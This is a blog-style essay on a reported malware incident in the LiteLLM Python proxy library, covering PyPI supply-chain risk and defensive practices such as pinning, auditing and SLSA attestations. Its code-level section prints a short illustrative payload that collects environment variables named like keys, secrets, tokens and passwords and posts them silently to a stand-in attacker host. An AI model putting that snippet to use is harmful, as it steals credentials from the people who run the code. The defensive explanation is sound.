Simon Willison published a detailed minute-by-minute account of his response to discovering malware in LiteLLM, the widely-used Python proxy library that provides a unified interface for calling over a hundred different LLM providers. Reading through that kind of real-time incident documentation is useful not just for the specific event, but for what it reveals about the threat model that every developer relying on AI tooling is now living inside.
LiteLLM occupies an unusual position in the current AI ecosystem. It sits between your application and every major model provider: OpenAI, Anthropic, Google, Azure, Bedrock, Cohere, and dozens more. You configure it with API keys for all of those services, and it routes your requests. That architectural role, credential aggregator for the entire AI stack, makes it an extraordinarily high-value target for anyone who wants to harvest keys at scale.
Why This Package Is Different
Most supply chain attacks on Python packages aim at one of a few things: cryptocurrency mining using stolen compute, exfiltrating environment variables, or establishing persistence on developer machines. A compromised package that handles a single service’s credentials is damaging. A compromised package that handles credentials for OpenAI, Anthropic, Google, and Azure simultaneously is a different category of problem.
Consider the typical LiteLLM deployment. In development, a developer might have it configured locally with personal API keys. In production, it’s often running as a centralized proxy with organizational keys that gate access for an entire company’s AI usage. A single malicious payload that reads from os.environ or from the LiteLLM config file could exfiltrate credentials worth hundreds of thousands of dollars in compute budget, depending on the organization.
LiteLLM’s config.yaml format often looks something like this:
model_list:
- model_name: gpt-4o
litellm_params:
model: openai/gpt-4o
api_key: sk-...
- model_name: claude-3-5-sonnet
litellm_params:
model: anthropic/claude-3-5-sonnet-20241022
api_key: sk-ant-...
- model_name: gemini-pro
litellm_params:
model: gemini/gemini-pro
api_key: AIza...That is not a file you want read by malicious code. And the library’s widespread use, over 14 million monthly downloads on PyPI as of early 2026, makes the blast radius of any compromise significant.
The Supply Chain Attack Surface in Python
Python’s packaging ecosystem has an inherent trust model problem. When you run pip install litellm, you’re executing code from a network endpoint with, by default, no verification beyond a checksum that proves the file wasn’t corrupted in transit. You’re not verifying that the package was actually built from the public source repository, or that the maintainer account wasn’t compromised between the last release and this one.
This is not a new problem, but it has become more acute as the packages being targeted have grown more consequential. The xz-utils backdoor in 2024 demonstrated how patient and sophisticated supply chain attacks can be: a fake contributor spent years building trust before injecting a backdoor into a systemd-adjacent compression library. Most attacks are less sophisticated but more numerous. Compromised maintainer accounts, malicious forks published under slightly different names, and malicious dependencies injected into transitive dependency trees are all common vectors.
LiteLLM has a substantial dependency tree. Installing it pulls in httpx, openai, anthropic, tiktoken, pydantic, aiohttp, and many others. Each of those packages has its own maintainers, its own release pipeline, and its own potential for compromise. You don’t just trust LiteLLM when you install it; you trust everything it depends on.
The Python packaging security model has improved meaningfully in recent years, with Trusted Publishers for PyPI allowing packages to publish directly from GitHub Actions using OIDC identity rather than long-lived API tokens. But adoption is still incomplete, and it doesn’t protect against scenarios where the source repository itself is compromised.
Reading Simon’s Incident Response
What makes Simon’s minute-by-minute format valuable is that it exposes the actual cognitive process of incident response, not just the sanitized after-action report. When security incidents are documented only after the fact, the uncertainty, the wrong turns, and the moments of not-knowing get edited out. Real-time notes preserve them.
Several things stand out about his approach. He apparently caught the issue before it affected his production systems, which points to the value of reviewing what packages are doing before they run in sensitive contexts. Inspecting the installed package source, watching network traffic during installation, using sandboxed environments for package evaluation: these habits rarely show up in tutorials but they matter.
Incident response for a supply chain attack has a different shape than incident response for, say, a web vulnerability. With a web vulnerability, the question is usually “what data was accessed and by whom.” With a supply chain attack, the first question is “what code actually ran on my system,” which is often surprisingly hard to answer with confidence. Pip doesn’t give you a transcript of what happened during installation. If a setup.py or a post-install script did something, you may not know unless you were watching.
What This Kind of Attack Actually Looks Like at the Code Level
Malicious packages on PyPI tend to follow recognizable patterns. The most common approach embeds execution in the package’s __init__.py, which runs automatically on import, or in setup.py for older-style packages. A minimal credential harvesting payload might look something like:
import os
import requests
import json
def _initialize():
try:
env = {k: v for k, v in os.environ.items()
if any(kw in k.upper() for kw in
['KEY', 'SECRET', 'TOKEN', 'PASSWORD'])}
requests.post(
'https://attacker-controlled-endpoint.com/collect',
json=env,
timeout=2
)
except Exception:
pass # silent failure
_initialize()The except Exception: pass pattern is characteristic: the malicious code tries to hide by failing silently if the exfiltration endpoint is down or if the network call triggers a firewall. From the user’s perspective, the package just works normally.
More sophisticated variants target specific config files. A package that knows it’s being installed alongside LiteLLM might look for ~/.litellm/config.yaml or walk os.environ for LITELLM_ prefixed variables specifically.
The Organizational Response Problem
For individual developers, the response to a supply chain compromise is painful but bounded: rotate all credentials that might have been exposed, audit your systems, move on. For organizations running centralized LiteLLM proxies, the response is harder because the blast radius calculation is more complex.
Which keys were configured in that proxy? Who had access to initiate API calls through it? Were any of those calls routing to models with tool use or code execution capabilities, which could mean the attacker’s code could potentially trigger further actions? These questions matter and they take time to answer.
The SLSA framework (Supply chain Levels for Software Artifacts) provides a structured way to think about and improve the integrity of your software supply chain. At SLSA level 3, for instance, you get provenance attestations that cryptographically link a published artifact back to its build process on a specific platform. PyPI’s support for these attestations is growing, and more packages are starting to publish them. Checking for attestations before installing a critical package is not yet a common developer habit, but it should become one.
What Developers Should Do
A few concrete practices make this class of attack harder to pull off or easier to detect.
Pin your dependencies. In production environments, a lockfile generated by pip-compile or uv lock means that a newly malicious version of a package won’t silently replace an older clean version on your next deployment. This doesn’t prevent attacks at initial installation time, but it significantly narrows the window.
Audit installs before they run in sensitive contexts. Tools like pip-audit check your installed packages against known vulnerability databases. They don’t catch zero-day supply chain attacks, but they catch the ones that have been reported.
Separate your credentials from your tooling where possible. If your LiteLLM configuration lives in environment variables rather than config files, and those environment variables are only injected at runtime in a hardened environment, the credential harvest problem becomes harder. The key material shouldn’t be reachable from the development environment where the package gets first installed.
Watch what happens during pip install. Running installations in a network-sandboxed environment and monitoring outbound connections reveals exfiltration attempts. This is impractical for casual development, but it’s a reasonable control for packages you’re about to deploy in production with access to sensitive credentials.
Finally, follow the maintainers you depend on. Simon’s post is useful precisely because he documents what he found and how he found it. When something goes wrong with a critical package, that information spreads faster through communities that are paying attention. If LiteLLM is in your stack, the maintainer’s security communications should be in your feed.
The Broader Pattern
The AI tooling ecosystem has grown very fast with relatively little security scrutiny. Packages that, two years ago, were hobby projects with a few hundred users are now running in production at companies with significant AI budgets. The security practices haven’t always scaled with the adoption.
That’s not a criticism specific to LiteLLM’s maintainers, who have been responsive and ship quickly. It’s a structural reality of how software ecosystems work. Security practices lag adoption. The xz-utils attack happened to one of the most fundamental pieces of Linux infrastructure, maintained by someone with a reputation for careful work. The attack surface is universal.
What changes is the consequence of compromise. A package that handles your LLM routing handles your keys for the services you pay money to use, possibly with no spending limits set. That consequence profile deserves more attention than most AI tooling currently receives.